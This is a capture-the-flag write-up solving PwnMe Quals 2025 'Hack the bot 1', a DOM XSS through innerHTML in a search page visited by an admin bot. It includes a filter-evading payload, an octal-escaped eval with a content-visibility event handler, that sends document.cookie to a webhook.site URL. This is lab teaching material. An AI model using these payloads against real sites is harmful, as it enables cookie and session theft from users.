PwnMe CTF Quals 2025 — Hack the bot 1
I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ?
We're given an express server that looks like this:
Code (js):
1const express = require('express');
2const path = require('path');
3const fs = require('fs');
4const { spawn } = require('child_process');
5const puppeteer = require('puppeteer');
6const { format } = require('date-fns');
7
8const app = express();
9const port = 5000;
10
11const logPath = '/tmp/bot_folder/logs/';
12const browserCachePath = '/tmp/bot_folder/browser_cache/';
13
14const cookie = {
15 name: 'Flag',
16 value: "PWNME{FAKE_FLAG}",
17 sameSite: 'Strict'
18};
19
20app.use(express.urlencoded({ extended: true }));
21
22app.use(express.static(path.join(__dirname, 'public')));
23
24app.set('views', path.join(__dirname, 'views'));
25app.set('view engine', 'ejs');
26
27if (!fs.existsSync(logPath)) {
28 fs.mkdirSync(logPath, { recursive: true });
29}
30
31if (!fs.existsSync(browserCachePath)) {
32 fs.mkdirSync(browserCachePath, { recursive: true });
33}
34
35const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
36
37async function startBot(url, name) {
38 const logFilePath = path.join(logPath, `${name}.log`);
39
40 try {
41 const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
42 logStream.write(`${new Date()} : Attempting to open website ${url}\n`);
43
44 const browser = await puppeteer.launch({
45 headless: 'new',
46 args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
47 });
48
49 const page = await browser.newPage();
50 await page.goto(url);
51
52 if (url.startsWith("http://localhost/")) {
53 await page.setCookie(cookie);
54 }
55
56 logStream.write(`${new Date()} : Successfully opened ${url}\n`);
57
58 await sleep(7000);
59 await browser.close();
60
61 logStream.write(`${new Date()} : Finished execution\n`);
62 logStream.end();
63 } catch (e) {
64 const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
65 logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
66 logStream.end();
67 }
68}
69
70app.get('/', (req, res) => {
71 res.render('index');
72});
73
74app.get('/report', (req, res) => {
75 res.render('report');
76});
77
78app.post('/report', (req, res) => {
79 const url = req.body.url;
80 const name = format(new Date(), "yyMMdd_HHmmss");
81 startBot(url, name);
82 res.status(200).send(`logs/${name}.log`);
83});
84
85app.listen(port, () => {
86 console.log(`App running at http://0.0.0.0:${port}`);
87});
Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS.
But where is the XSS vulnerability? Looking in the script loaded by index.ejs
,
Code (js):
1// Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches)
2
3function getSearchQuery() {
4 const params = new URLSearchParams(window.location.search);
5 // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas
6 return params.get('q') ? params.get('q').toLowerCase() : '';
7}
8
9document.addEventListener('DOMContentLoaded', function() {
10 const searchQuery = getSearchQuery();
11 document.getElementById('search-input').value = searchQuery;
12 if (searchQuery) {
13 searchArticles(searchQuery);
14 }
15});
16
17document.getElementById('search-icon').addEventListener('click', function() {
18 searchArticles();
19});
20
21document.getElementById('search-input').addEventListener('keypress', function(event) {
22 if (event.key === 'Enter') {
23 searchArticles();
24 }
25});
26
27function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) {
28 const searchWords = searchInput.split(/[^\p{L}]+/u);
29 const articles = document.querySelectorAll('.article-box');
30 let found = false;
31 articles.forEach(article => {
32 if (searchInput === '') {
33 article.style.display = '';
34 found = true;
35 } else {
36 const articleText = article.textContent.toLowerCase();
37 const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText));
38 if (isMatch) {
39 article.style.display = '';
40 found = true;
41 } else {
42 article.style.display = 'none';
43 }
44 }
45 });
46 const noMatchMessage = document.getElementById('no-match-message');
47 if (!found && searchInput) {
48 noMatchMessage.innerHTML = `No results for "${searchInput}".`;
49 noMatchMessage.style.display = 'block';
50 } else {
51 noMatchMessage.style.display = 'none';
52 }
53}
The idea seems to be that
- The page automatically populates
search-input
with our passed-in query string. - For each "word" (tokens separated by characters not in the unicode letter category) in our query, we perform a case-insensitive Regex match against the text of each article on the page.
- If no matches are found, we get direct
innerHTML
access -> XSS.
But there's one last problem; the page's articles look like this:
so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking online, one such payload is
Code (html):
1<vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto>
but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's deprecated octal escape sequence syntax to encode our payload as
Code (js):
1fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`)
Code (js):
1eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51')
One final hiccup: looking at the bot source again,
Code (js):
1 const page = await browser.newPage();
2 await page.goto(url);
3
4 if (url.startsWith("http://localhost/")) {
5 await page.setCookie(cookie);
6 }
the admin visits the page before setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS,
Code (js):
1console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join(''))
giving us a final payload looking like
Code (html):
1<vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto>
Reporting this to the bot, we get the flag:
Code:
1PWNME{D1d_y0U_S4iD-F1lt33Rs?}